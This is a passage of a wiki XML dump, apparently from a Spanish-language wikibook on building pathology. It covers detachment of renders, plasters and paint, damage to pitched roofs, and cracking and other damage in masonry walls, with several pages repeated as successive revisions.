•	'''En el propio elemento de acabado''', al no tener este suficiente resistencia debido a una sección excesivamente fina o a la existencia de pelos de cantera

{{AutoCat}}</text>
      <sha1>4g7vfmy1gsr8fzyjr6fxwdy6voe5193</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Enfoscados y revocos</title>
    <ns>0</ns>
    <id>13546</id>
    <revision>
      <id>430040</id>
      <parentid>418006</parentid>
      <timestamp>2026-08-02T10:47:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430040</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3234" sha1="j5y0vr4hbb6ebwrqznr8yxbtur3ig9b" xml:space="preserve">Denominamos así a las capas de mortero que suelen utilizarse para cubrir muros, lo más usual es que dichos muros sean de fábrica de ladrillo o mampostería. Es necesario que este acabado sea adherente, impermeable a la entrada de agua en profundidad y permeable al vapor para evitar condensación en las juntas. 


== Las consideraciones a tener en cuenta durante el proyecto y la ejecución para evitar posteriores desprendimientos son: ==


•	Utilización de un mortero apropiado, con una correcta relación de sus componentes, demasiado aglomerante provoca retracciones, demasiada o poca agua provoca un mal fraguado por no tener la plasticidad adecuada, la presencia de arcilla resulta en falta de adherencia, etc…

•	Un fraguado correcto, no se debe ejecutar el enfoscado o revoco a temperaturas muy altas o muy bajas ya que afectara al fraguado.

•	Adecuación del soporte en su rigidez, rugosidad, humedad, limpieza, continuidad, y compatibilidad química.

•	Uso de un mortero elástico. 

•	Incorporación de juntas de retracción.

•	Que la capa de mortero que no supere un grosor de 2cm

•	En el caso de falta de adherencia ayudarse de una malla rigidizadora.


== Causas y reparaciones de desprendimientos mas frecuentes ==


Teniendo en  cuenta que su sistema de adherencia es de tipo mecánico existirán cuatro causas principales de desprendimiento y su correspondiente mecanismo de reparación, aunque al ser este un acabado continuo se suele tener que demoler completamente y rehacer ya que de nada sirve cubrir con mortero en buen estado una capa de enfoscado que adolezca de problemas de adherencia:

=== Causa: ===
	Variaciones dimensionales higro-térmicas del acabado

=== Reparación: ===
Deberemos marcar las correspondientes juntas de retracción reduciendo la capa de acabado en puntos específicos mediante: 

Una incisión directa sobre la capa llevada a cabo en la fase plástica mediante “llagueros”, o una vez endurecido mediante sierras de disco manuales.

La introducción de bandas de tela o papel durante la fase de ejecución para arrancarles antes del fraguado.

La utilización de perfiles en U utilizados como junta de dilatación que interrumpen a la capa de acabado disminuyendo así los esfuerzos rasantes

=== Causa: ===
Movimiento elástico del soporte

=== Reparación: ===
Crear de juntas de retracción en las zonas donde se prevé que dicho movimiento va a tener lugar. Existen puntos donde la aparición de movimientos estructurales del soporte son muy frecuentes como serían por ejemplo, antepechos de balcones o petos de terraza, Es recomendable no utilizar revoco en dichas zonas sustituyéndolo por un aplacado.			
		

=== Causa: ===
Dilatación de elementos infiltrados

=== Reparación: ===
Localizar foco de infiltración y evitarlo.  Reponiendo todo el acabado o una parte, si es este segundo caso lo mejor  seria crear juntas de dilatación para disimular la diferencia entre reparación y original.

=== Causa: ===
Falta de adherencia

=== Reparación: ===
Será necesario reponer todo el acabado, previo picado superficial del soporte, o aplicación  de una malla metálica, ambas soluciones con el fin de aumentar la rugosidad de esta.

{{AutoCat}}</text>
      <sha1>j5y0vr4hbb6ebwrqznr8yxbtur3ig9b</sha1>
    </revision>
    <revision>
      <id>430043</id>
      <parentid>430040</parentid>
      <timestamp>2026-08-02T10:47:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430043</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3247" sha1="1z1t2fm02xyvnsez3cjnhyyv1vhvrj5" xml:space="preserve">Denominamos así a las capas de mortero que suelen utilizarse para cubrir muros, lo más usual es que dichos muros sean de fábrica de ladrillo o mampostería. Es necesario que este acabado sea adherente, impermeable a la entrada de agua en profundidad y permeable al vapor para evitar condensación en las juntas. 


== Las consideraciones a tener en cuenta durante el proyecto y la ejecución para evitar posteriores desprendimientos son: ==


•	Utilización de un mortero apropiado, con una correcta relación de sus componentes, demasiado aglomerante provoca retracciones, demasiada o poca agua provoca un mal fraguado por no tener la plasticidad adecuada, la presencia de arcilla resulta en falta de adherencia, etc…

•	Un fraguado correcto, no se debe ejecutar el enfoscado o revoco a temperaturas muy altas o muy bajas ya que afectara al fraguado.

•	Adecuación del soporte en su rigidez, rugosidad, humedad, limpieza, continuidad, y compatibilidad química.

•	Uso de un mortero elástico. 

•	Incorporación de juntas de retracción.

•	Que la capa de mortero que no supere un grosor de 2cm

•	En el caso de falta de adherencia ayudarse de una malla rigidizadora.


== Causas y reparaciones de desprendimientos mas frecuentes ==


Teniendo en  cuenta que su sistema de adherencia es de tipo mecánico existirán cuatro causas principales de desprendimiento y su correspondiente mecanismo de reparación, aunque al ser este un acabado continuo se suele tener que demoler completamente y rehacer ya que de nada sirve cubrir con mortero en buen estado una capa de enfoscado que adolezca de problemas de adherencia:

=== Causa: ===
	Variaciones dimensionales higro-térmicas del acabado

=== Reparación: ===
Deberemos marcar las correspondientes juntas de retracción reduciendo la capa de acabado en puntos específicos mediante: 

Una incisión directa sobre la capa llevada a cabo en la fase plástica mediante “llagueros”, o una vez endurecido mediante sierras de disco manuales.

La introducción de bandas de tela o papel durante la fase de ejecución para arrancarles antes del fraguado.

La utilización de perfiles en U utilizados como junta de dilatación que interrumpen a la capa de acabado disminuyendo así los esfuerzos rasantes

=== Causa: ===
Movimiento elástico del soporte

=== Reparación: ===
Crear de juntas de retracción en las zonas donde se prevé que dicho movimiento va a tener lugar. Existen puntos donde la aparición de movimientos estructurales del soporte son muy frecuentes como serían por ejemplo, antepechos de balcones o petos de terraza, Es recomendable no utilizar revoco en dichas zonas sustituyéndolo por un aplacado.			
		

=== Causa: ===
Dilatación de elementos infiltrados

=== Reparación: ===
Localizar foco de infiltración y evitarlo.  Reponiendo todo el acabado o una parte, si es este segundo caso lo mejor  seria crear juntas de dilatación para disimular la diferencia entre reparación y original.

=== Causa: ===
Falta de adherencia

=== Reparación: ===
Será necesario reponer todo el acabado, previo picado superficial del soporte, o aplicación  de una malla metálica, ambas soluciones con el fin de aumentar la rugosidad de esta.

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>1z1t2fm02xyvnsez3cjnhyyv1vhvrj5</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas inclinadas/Lesiones</title>
    <ns>0</ns>
    <id>13548</id>
    <revision>
      <id>430012</id>
      <parentid>200140</parentid>
      <timestamp>2026-08-02T10:06:45Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>actualización. Eliminación de enlaces rotos</comment>
      <origin>430012</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5428" sha1="1adg2jxgfgohjc3ivpmhajjorsky7v9" xml:space="preserve">==''Lesiones propias directas''==

===1.	Formales y posicionales===

*	Desprendimientos: rotura o dislocación de elementos componentes de la cubierta, pueden derivar en otras lesiones.

[[Imagen:desprendimiento.jpg|thumb|200px]]


*	Erosiones: se trata del desgaste o deterioro progresivo de los elementos de una cubierta. Pueden ser:

o	         Erosiones mecánicas: causada por el viento que transporta partículas de material abrasivo, influyendo en las zonas de la cubierta más expuestas, es decir, limatesas y cumbreras


o	         Erosiones físicas: están causadas por la humedad y los cambios de temperatura, afectando a materiales poroso (pétreos y cerámicos). Se suelen dar en los bordes de las tejas, aunque puede llegar a ser causante de su rotura.


*	Deformaciones: alteración formal del faldón de la cubierta. Relativas a la flecha excesiva y a los desplazamientos excesivos que afecten a la integridad de la cubierta. Pueden ser causantes de dislocaciones, con pérdidas de solapes, que pueden derivar en pérdidas de estanquidad, provocando nuevas lesiones derivadas.


===2.	Sustanciales ===

*	Humedades: La pérdida de estanquidad de la cubierta, supone el paso del agua de lluvia a través de los elementos constituyentes de la misma. Cuando se produce este hecho, debida a la pérdida de requisitos funcionales de algún elemento constituyente del faldón de cubierta, se originan buena parte de las humedades.


La filtración de agua a través de la cubierta se traduce en la aparición de manchas, llegando a convertirse en goteras en el caso de saturación del material, o el paso libre del agua a través de las capas de cubrición. Se pueden producir manchas por alteración del material o por depósito de material disuelto en el agua.
También las humedades, pueden aparecer como consecuencia de la condensación de vapor de agua en un cerramiento, al intentar atravesarlo. Se tienen que dar las condiciones de temperatura bajas (temperatura de saturación o de rocío) y de presión altas del vapor, para que se produzcan éstas. Las humedades de condensación pueden ser:

o	Superficiales: si se producen en la superficie del cerramiento

o	Intersticiales: en su interior

o	Higroscópicas: debido a materiales higroscópicos (aquellos que tienen la propiedad de absorber la humedad y conservarla).


Éstas suelen ser también consecuencia de manchas en los paramentos, con acumulación de polvo en aquellas zonas donde se ha producido la condensación.

*	Erosiones: se trata del desgaste o deterioro progresivo de los elementos de una cubierta. Dentro de las erosiones pertenecientes a las lesiones sustanciales están:

o	Erosiones químicas: producidas por dos factores: la humedad de filtración y un elemento contaminante. Estos elementos contaminantes pueden darse; en la atmósfera (SO2, CO2,...), que atacan, en mayor medida, a materiales pétreos (calizas, hormigón,...); también pueden ser producidos por organismos.
Dentro de este tipo de erosión, se incluye, las lesiones derivadas de la formación de par galvánico, por empleo de materiales incompatibles, como pueden ser: el cobre y el acero galvanizado, cobre y zinc, aluminio y cobre,...

==''Otras lesiones y síntomas''==

*	Manchas: pueden ser de varios tipos: suelen tratarse de depósitos materiales, disueltos en el agua, que se dan en el intradós de la cubierta o alteración de los revestimientos al ser atacados por la propia agua o por agentes de carácter biológico. Son suciedades que suelen deberse a humedades previas.


El tipo de mancha ayuda a descifrar de manera genérica dónde se encuentra el origen de la misma, y poder llegar a algún tipo de hipótesis de diagnóstico sólo con el acercamiento visual, siempre que se trate de humedades por filtración del agua de lluvia, ya que las humedades de condensación no están tan condicionadas, como las primeras. Así tendremos en nuestro caso específico de cubiertas inclinadas:

§	Manchas radiales: que se producen porque el agua se queda estancada, sin producirse su movimiento

§	Manchas longitudinales que bajan por el faldón: que podrían deberse a lesiones por dislocaciones, mala colocación de la teja, rotura de algún elemento constituyente de la cubierta.

§	Manchas longitudinales marcadas transversalmente a la pendiente del faldón: dependiendo de dónde se sitúen:

o	En la intersección con la fachada: puede deberse a fallos en el sistema de evacuación de aguas, a desprendimientos de aleros, a ausencia de goterón, etc.

o	En cualquier otro lugar: en la intersección de elementos salientes, huecos, etc.


*	Goteras: caída libre de agua de la cubierta por la penetración del agua a través del faldón. Suele ser consecuencia de una lesión o fallo previos, como por ejemplo, fisuras o grietas en la cubierta, humedades, discontinuidades en el paño de cubierta por mala solución de encuentros, etc.

*	Desprendimiento de revestimientos: lesión derivada de condensaciones superficiales que provocan levantamiento de pinturas en el intradós, provocada por acción biológica externa, mantenimientos inadecuados, etc.

*	Lesiones derivadas: producidas como consecuencia de:
§	Movimientos estructurales: fisuras, humedades, desprendimientos,...


§	Naturaleza de los morteros: punzonamientos

§	Fraguado (retracción): fisuras

§	Defectos de ejecución

§	Defectos de mantenimiento

§	Uso inadecuado</text>
      <sha1>1adg2jxgfgohjc3ivpmhajjorsky7v9</sha1>
    </revision>
    <revision>
      <id>430013</id>
      <parentid>430012</parentid>
      <timestamp>2026-08-02T10:06:49Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430013</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5441" sha1="p4dg1k2cb4ygh3u43lus0f4qpkii27m" xml:space="preserve">==''Lesiones propias directas''==

===1.	Formales y posicionales===

*	Desprendimientos: rotura o dislocación de elementos componentes de la cubierta, pueden derivar en otras lesiones.

[[Imagen:desprendimiento.jpg|thumb|200px]]


*	Erosiones: se trata del desgaste o deterioro progresivo de los elementos de una cubierta. Pueden ser:

o	         Erosiones mecánicas: causada por el viento que transporta partículas de material abrasivo, influyendo en las zonas de la cubierta más expuestas, es decir, limatesas y cumbreras


o	         Erosiones físicas: están causadas por la humedad y los cambios de temperatura, afectando a materiales poroso (pétreos y cerámicos). Se suelen dar en los bordes de las tejas, aunque puede llegar a ser causante de su rotura.


*	Deformaciones: alteración formal del faldón de la cubierta. Relativas a la flecha excesiva y a los desplazamientos excesivos que afecten a la integridad de la cubierta. Pueden ser causantes de dislocaciones, con pérdidas de solapes, que pueden derivar en pérdidas de estanquidad, provocando nuevas lesiones derivadas.


===2.	Sustanciales ===

*	Humedades: La pérdida de estanquidad de la cubierta, supone el paso del agua de lluvia a través de los elementos constituyentes de la misma. Cuando se produce este hecho, debida a la pérdida de requisitos funcionales de algún elemento constituyente del faldón de cubierta, se originan buena parte de las humedades.


La filtración de agua a través de la cubierta se traduce en la aparición de manchas, llegando a convertirse en goteras en el caso de saturación del material, o el paso libre del agua a través de las capas de cubrición. Se pueden producir manchas por alteración del material o por depósito de material disuelto en el agua.
También las humedades, pueden aparecer como consecuencia de la condensación de vapor de agua en un cerramiento, al intentar atravesarlo. Se tienen que dar las condiciones de temperatura bajas (temperatura de saturación o de rocío) y de presión altas del vapor, para que se produzcan éstas. Las humedades de condensación pueden ser:

o	Superficiales: si se producen en la superficie del cerramiento

o	Intersticiales: en su interior

o	Higroscópicas: debido a materiales higroscópicos (aquellos que tienen la propiedad de absorber la humedad y conservarla).


Éstas suelen ser también consecuencia de manchas en los paramentos, con acumulación de polvo en aquellas zonas donde se ha producido la condensación.

*	Erosiones: se trata del desgaste o deterioro progresivo de los elementos de una cubierta. Dentro de las erosiones pertenecientes a las lesiones sustanciales están:

o	Erosiones químicas: producidas por dos factores: la humedad de filtración y un elemento contaminante. Estos elementos contaminantes pueden darse; en la atmósfera (SO2, CO2,...), que atacan, en mayor medida, a materiales pétreos (calizas, hormigón,...); también pueden ser producidos por organismos.
Dentro de este tipo de erosión, se incluye, las lesiones derivadas de la formación de par galvánico, por empleo de materiales incompatibles, como pueden ser: el cobre y el acero galvanizado, cobre y zinc, aluminio y cobre,...

==''Otras lesiones y síntomas''==

*	Manchas: pueden ser de varios tipos: suelen tratarse de depósitos materiales, disueltos en el agua, que se dan en el intradós de la cubierta o alteración de los revestimientos al ser atacados por la propia agua o por agentes de carácter biológico. Son suciedades que suelen deberse a humedades previas.


El tipo de mancha ayuda a descifrar de manera genérica dónde se encuentra el origen de la misma, y poder llegar a algún tipo de hipótesis de diagnóstico sólo con el acercamiento visual, siempre que se trate de humedades por filtración del agua de lluvia, ya que las humedades de condensación no están tan condicionadas, como las primeras. Así tendremos en nuestro caso específico de cubiertas inclinadas:

§	Manchas radiales: que se producen porque el agua se queda estancada, sin producirse su movimiento

§	Manchas longitudinales que bajan por el faldón: que podrían deberse a lesiones por dislocaciones, mala colocación de la teja, rotura de algún elemento constituyente de la cubierta.

§	Manchas longitudinales marcadas transversalmente a la pendiente del faldón: dependiendo de dónde se sitúen:

o	En la intersección con la fachada: puede deberse a fallos en el sistema de evacuación de aguas, a desprendimientos de aleros, a ausencia de goterón, etc.

o	En cualquier otro lugar: en la intersección de elementos salientes, huecos, etc.


*	Goteras: caída libre de agua de la cubierta por la penetración del agua a través del faldón. Suele ser consecuencia de una lesión o fallo previos, como por ejemplo, fisuras o grietas en la cubierta, humedades, discontinuidades en el paño de cubierta por mala solución de encuentros, etc.

*	Desprendimiento de revestimientos: lesión derivada de condensaciones superficiales que provocan levantamiento de pinturas en el intradós, provocada por acción biológica externa, mantenimientos inadecuados, etc.

*	Lesiones derivadas: producidas como consecuencia de:
§	Movimientos estructurales: fisuras, humedades, desprendimientos,...


§	Naturaleza de los morteros: punzonamientos

§	Fraguado (retracción): fisuras

§	Defectos de ejecución

§	Defectos de mantenimiento

§	Uso inadecuado

{{AutoCat}}</text>
      <sha1>p4dg1k2cb4ygh3u43lus0f4qpkii27m</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Guarnecidos, tendidos y enlucidos</title>
    <ns>0</ns>
    <id>13549</id>
    <revision>
      <id>430041</id>
      <parentid>418008</parentid>
      <timestamp>2026-08-02T10:47:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430041</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="468" sha1="ox17imy5a6am3rzxeze7642veug4q50" xml:space="preserve">Es  un sistema de acabado muy similar al [[patología de la edificación/Fachadas/2.1.1Enfoscados y revocos|2.1.1Enfoscados y revocos]] y  su sistema de adherencia es el mismo así que las prevenciones, causas y reparaciones de desprendimientos son las mismas, con la excepción de que al ser un acabado de interiores no es apenas susceptible a las dilataciones higro-térmicas, salvo que se utilice en cuartos húmedos lo que es altamente desaconsejable.

{{AutoCat}}</text>
      <sha1>ox17imy5a6am3rzxeze7642veug4q50</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Lesiones</title>
    <ns>0</ns>
    <id>13550</id>
    <revision>
      <id>430139</id>
      <parentid>306388</parentid>
      <timestamp>2026-08-02T11:47:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430139</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14165" sha1="k2mvsngmo14ynlodumlytcfjcgcfvk6" xml:space="preserve">=Lesiones de los muros de fábrica:=
==Lesiones del material==
===Agresiones biológicas===
Son aquellas causadas por daño del tipo biodeterioro, esto es, debidas a que el muro de fábrica esté expuesto al medio por períodos de tiempo considerables. Los diversos microorganismos que formen el biotopo circundante pueden afectar de diversas formas al elemento de estudio según sus propias características y ciclo vital.

Los ''hongos y bacterias'' producen en su ciclo vital diversos ácidos orgánicos que pueden atacar la piedra. Estas secreciones reaccionan con el mineral, disminuyendo la masa del muro, y reduciendo por tanto sus características portantes, térmicas, acústicas… El ataque suele ser visible en el exterior del muro, produciendo manchas que pueden afectar al decoro del edificio.

Las ''algas y musgos'' generan pátinas biogénicas, generalmente de un color que varía desde el pardo oscuro al amarillo pasando por el verde, dependiendo de la variedad del microorganismo considerado. Su mera presencia indica la presencia de una gran humedad. En su ciclo vital producen sales solubles que reaccionando con el material pueden llegar a ser dañinas.

Los ''líquenes'' pueden llegar a generar graves lesiones en el interior del elemento de fábrica. Lo más grave es que muchas veces no tiene por qué existir manifestación exterior.

Los ''árboles y las plantas'' también pueden generar lesiones en el material. La savia ligeramente ácida puede provocar manchas en algunos materiales como el mármol, pero su efecto más perjudicial es el puramente mecánico, al introducir sus raíces tensiones muy elevadas en la piedra, llevando a la aparición de grietas y fisuras.

Dentro de la ''acción de los animales'', la más importante sea quizá la de las aves, cuyos excrementos pueden atacar la piedra o introducir un peso no previsto en el proyecto de estructura del edificio. Se engloba aquí también las diversas acciones del hombre que pueden ser peligrosas, como actos vandálicos, etc.

===Agresiones físicas y mecánicas===
Se incluyen en este apartado diversos ataques que pueden producirse al muro de fábrica en su entorno, sin que intervengan organismos vivos sino las condiciones ambientales.

El ''agua y el viento'' pueden producir erosiones. Debido a su acción continua de desgaste, derivan en una pérdida de masa y forma del muro de fábrica. Se producirán pues lesiones como la arenización, el desconchado, la disgregación o las picaduras, así como excoriaciones, burilado o la aparición de manchas o zonas de lavado en el material. La falta de relleno en las juntas del muro y una mala práctica constructiva (como no ventilar las cámaras de aire del muro) puede favorecer la aparición de manchas de humedad en las fachadas.

La ''variación de las condiciones higrotérmicas'' en el ambiente considerado puede producir importantes dilataciones y retracciones en el material. 

Los ''asientos diferenciales'' del terreno producen un descenso de la cimentación y con ella la de toda la estructura. Con ella, los muros de fábrica; si ese asiento es suficientemente importante, se producirán las consiguientes fisuras.

===Agresiones químicas===
La más importante de ellas son las ''eflorescencias''. Es una pátina blanquecina que aparece normalmente en piedras porosas por la cristalización de las sales solubles del agua que anteriormente se ha evaporado. Si este fenómeno se produce en el interior del elemento murario se denomina criptoeflorescencia; si no es muy profundo pero no llega a aflorar a la superficie, lo llamamos subeflorescencia. Este proceso produce importantes alteraciones en la piedra, como picaduras y disgregaciones. El agua también puede disolver el conglomerante de cal del mortero y al evaporarse, aparecer en los bordes de las zonas húmedas en forma de eflorescencias salinas.

También hay que resaltar el pernicioso efecto de las ''heladas''. Los elementos de fábrica suelen ser bastante porosos, reteniendo mucha agua en ellos. Durante las heladas, esta agua contenida aumenta de volumen, produciendo un efecto barrena con la consiguiente aparición de grietas si su efecto supera la resistencia del material. A veces puede ser el mortero de la fábrica el que salte en vez del propio ladrillo.

Para concluir, también hay que señalar que pueden producirse efectos perjudiciales en el muro de fábrica debido a la ''contaminación ambiental'', o a diversos procesos de combustión, como los humos agresivos de las calefacciones o los propios de la industria. La costra negra que se forma en la superficie del muro de fábrica puede llegar a producir con el tiempo lesiones perjudiciales en él, como disgregaciones o exfoliaciones. Las fabricas de arenisca son especialmente sensibles al ácido sulfúrico y sulfuroso, que corroen el aglomerante calizo de forma que las partes de la arenisca así atacadas dejan de ser piedra arenisca para convertirse en arena envuelta en yeso.


==Lesiones de los elementos constructivos:==

===Propias directas===
La ''disgregación'' se produce cuando el material pierde cohesión interna, de forma que el material se desprende de forma natural o con un esfuerzo mínimo. Su presencia es claramente visible, pues, al perder masa, viene acompañada de un desnivel en la superficie del elemento de fábrica. Siempre que hay un proceso de disgregación, el material se ve fuertemente afectado. Según la granulometría del material desprendido podemos hablar de arenización (cuando el tamaño del grano es del tamaño de una arena) o pulverización (si es menor).  

La ''exfoliación'' es un proceso generalmente debido a la acumulación de gruesas capas de suciedad en la superficie del muro. Esta capa es impermeable al paso del vapor de agua, de forma que el agua se acumula en el ladrillo o la piedra y se congela en época de heladas, haciendo saltar las capas exteriores de los mismos. La exfoliación es especialmente peligrosa en la arenisca

Las ''fisuras'' provocadas en los muros de fábrica, marcan siempre la línea de máxima compresión, de forma que adquieren una manifestación característica que podemos estudiar para dilucidar las causas que la han producido. Es, con diferencia, la lesión más común en muros de fábrica, y por ello se abordará el estudio completo de cada una de las formas características de las grietas y el por qué de las mismas.

''Fisura por fallo local''


Este tipo de grieta es típica en muros ejecutados defectuosamente o con aparejo de diferente calidad. La rotura se inicia en las piezas débiles y provoca un giro en el plano del muro. 

''Fisura por aplastamiento''

[[Imagen:Pat2.jpg]]

Este tipo de grieta señala unas piezas poco resistentes a la compresión. Es frecuente en muros con cargas importantes ejecutados con ladrillo hueco.

''Fisura por aplastamiento del mortero''

[[Imagen:Pat3.jpg]]

Por deformación y rotura del mortero debido a su compresión, se producen esfuerzos de tracción en las piezas cerámicas rompiéndose y produciendo las características fisuras verticales. 

''Fisura por pandeo''


Suele suceder en muros comprimidos cuando su ancho no es suficiente. Puede producirse bien por aplastamiento de las piezas en la zona más comprimida o por separación entre las piezas y el mortero en la zona de tracción por falta de adherencia. A este respecto hay que señalar la conveniencia no utilizar ladrillos de medio pie para muros (aunque estos sean de cerramientos), así como cuidar la adherencia entre las piezas y el mortero. 

''Fisura por retracción''

[[Imagen:Pat5.jpg]]

Se produce por retracción del mortero, cuando las juntas son de gran espesor y el ladrillo utilizado es de baja resistencia. Las piezas se fisuran antes de entrar en carga.

''Fisura por alabeo''


Se produce en presencia de esfuerzos tangenciales de sentidos opuestos separados por una cierta distancia. Su esfuerzo es tanto más notable cuando más esbelto es el muro y más largo sea. Se generan esfuerzos torsores y una figuración inclinada.

''Fisura por aplastamiento local''

[[Imagen:Pat8.jpg]]

Se produce cuando un apoyo produce una tensión puntual que supera la tensión admisible de la fábrica. Es típica de apoyos de dinteles y vigas sobre fábricas de aparejo de poca resistencia a compresión. Se puede evitar dotando al apoyo de mayor superficie o de una pieza de mayor resistencia que permita una distribución más uniforme.

''Fisura por vuelco''

[[Imagen:Pat10.jpg]]

Se produce cuando el muro no está bien anclado en la coronación, o no se han dispuesto apeos provisionales durante el proceso de ejecución. 
El muro pasa a funcionar como una ménsula en voladizo, razón por la cual se fisura la parte inferior, próxima al empotramiento, con grietas menos pronunciadas según se asciende.

''Fisura por esfuerzo rasante''


Suele presentarse en los arranques de arcos sobre los extremos de un muro. Su efecto se produce por el empuje horizontal del muro, que genera grietas en esta dirección. 

Los efectos de esta lesión se pueden paliar si el muro está suficientemente cargado, pues la propia tensión de compresión que transmite puede ser suficiente para cerrar la grieta.


Se llama ''meteorización alveolar'' o tafonización a la aparición de pequeños huecos o alvéolos, de forma más o menos globular y tamaño del orden del centímetro en la superficie de los elementos pétreos. Su aparición puede deberse a causas físicas o químicas (Causas), aunque generalmente se produce en presencia de sales solubles. Las rocas porosas como la arenisca son más propensas a este tipo de lesión.

Las ''picaduras'' son pequeñas cavidades formados en los materiales pétreos. El origen de las picaduras se encuentra en los procesos de erosión. Se suelen formar en secciones del material más débiles que el resto.

Se conoce como ''expansión por humedad'' al aumento de volumen producido a largo plazo y por acción de la humedad ambiente. Los ladrillos cerámicos expanden, y se producen daños por este motivo en elementos donde queda completamente imposibilitado el movimiento (edificios de gran longitud donde no se hayan dispuesto las juntas de dilatación pertinentes, siendo recomendable un valor entre los 6 y 10 m de distancia, cubriendo paños cuya superficie no sea superior a 50m2) y además están situados en condiciones singulares de humedad ambiente (como sótanos y depósitos de agua). Las grietas que se generan por estas dilataciones suelen ser homogéneas, lo que nos está hablando de una tensión causante igual de distribuida. Es también de buena práctica humedecer los productos cerámicos antes de su puesta en obra para que no absorban el agua del mortero, y no colocar en obra materiales cerámicos antes de una semana después de fabricados, ya que en los primeros días tiene lugar la mayor expansión. Singularmente, está el caso de los ladrillos silico calcáreos, que en lugar de expandirse se retraen, necesitando igualmente de juntas de dilatación.

También pueden producirse ''dilataciones térmicas'', siendo más importantes en fachadas que estén muy soleadas. Si no se preveen estas dilataciones en proyecto y se toman las debidas precauciones en la colocación de las juntas de dilatación, pueden generan grietas. Es muy frecuente la generación de grietas en las esquinas entre dos fachadas con diferente soleamiento, que generalmente se producen por los puntos débiles del muro, como estrechamientos en las zonas donde pasan los pilares o los forjados.

===Otras lesiones===

Pueden producirse grietas y fisuras derivadas por movimiento de otros elementos constructivos a los que el muro de fábrica esté ligado. A continuación se detallan las más importantes.

''Fisura por flexión del forjado''

[[Imagen:Pat7.jpg]]

Rotura típica en muros de carga con forjados empotrados en tramos desequilibrados.

Su efecto es más importante si el grosor del muro no es el adecuado, y suele indicar que la flecha del forjado es importante porque su canto es insuficiente.

''Fisura por flexión del dintel''

[[Imagen:Pat12.jpg]]

Se produce cuando el dintel es muy deformable, de forma que parte de la carga se transmite al muro de fábrica, y se generan grietas en forma de arco de descarga.

''Fisura por cortante'' (descenso de la cimentación)

[[Imagen:Pat9.jpg]]

Esta rotura sucede cuando cede parte del apoyo que sujeta al muro. Su prevención parte de un buen proyecto de cimentación, previendo sus asientos diferenciales o tomando las precauciones necesarias acerca del nivel freático.

No obstante este efecto es a veces imprevisible, pues puede deberse al descalce de la cimentación por un defectuoso vaciado de un solar colindante.

''Fisura por aplastamiento''

[[Imagen:Pat15.jpg]]

Se produce generalmente en muros de fachada o en tabiques interiores por deformación de los forjados entre los que se sitúa. En ese momento, los muros, que no están preparados para ello, entran en carga. Se produce un aplastamiento de las hiladas superiores además de una fisura vertical en el centro del vano.

Si  el forjado inferior se deforma más que el forjado superior, se manifiesta la deformación de un arco de descarga, junto con la fisuración a 45º en las esquinas supreiores.

''Fisuras por asientos diferenciales o deformaciones de elementos resistentes''

[[Imagen:Pat16.jpg]]

Sólo se puede evitar este efecto limitando las flechas de los elementos que la produzcan, dotándoles para ello de las medidas correctoras que fueran precisas en cada caso.


En otro orden, y aunque no son lesiones propiamente dichas, podríamos hablar de los defectos de producción de los ladrillos. Generalmente se deben a fallos en la fabricación de esos ladrillos en las distintas fases (moldeo, secado y cocción). Derivan en diversas deformaciones de la pieza, exfoliaciones, caliches o costras que se desprenden de la pieza, fisuraciones y microfisuraciones o pérdida de su capacidad resistente.


== Artículos Relacionados ==
*[http://www.construmatica.com/construpedia/Categor%C3%ADa:Patolog%C3%ADas_Constructivas  Patologías Constructivas]

{{AutoCat}}</text>
      <sha1>k2mvsngmo14ynlodumlytcfjcgcfvk6</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Pinturas</title>
    <ns>0</ns>
    <id>13557</id>
    <revision>
      <id>430042</id>
      <parentid>418010</parentid>
      <timestamp>2026-08-02T10:47:38Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430042</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2196" sha1="pbqt0vkmdfzg1np2sg9xknhb5j35ubj" xml:space="preserve">Son de muy diversos tipos dependiendo de sus características por lo que la mejor prevención es la adecuación de la pintura escogida a las características del proyecto. En cuanto a su ejecución aparte de seguir las instrucciones del fabricante debe asegurarse que la capa este aplicada sobre un soporte limpio y que no supere ciertos limites de humedad que varían según el material (6% pétreos y cerámicos, 10%-15% maderas, y nada en metales). Si el soporte no permite una buena adherencia como serían metales y plásticos se debe aplicar una capa de imprimación.


== Causas y reparaciones de los principales desprendimientos ==

Teniendo en cuenta que la adherencia esta basada en una unión constructiva superficial en la cual también interviene una adherencia química así como el grosor de la capa de pintura. Se observaran  seis causas principales de desprendimiento y su correspondiente mecanismo de reparación, aunque este también es un caso en que se suele tener que raspar toda la capa de pintura y aplicar nuevas capas.

=== Causa: ===
Retracción de la capa de pintura provocando su fisuración y rotura de adherencia, suele ser por las características de la propia pintura y la acción de agentes meteorológicos.

=== Reparación: ===
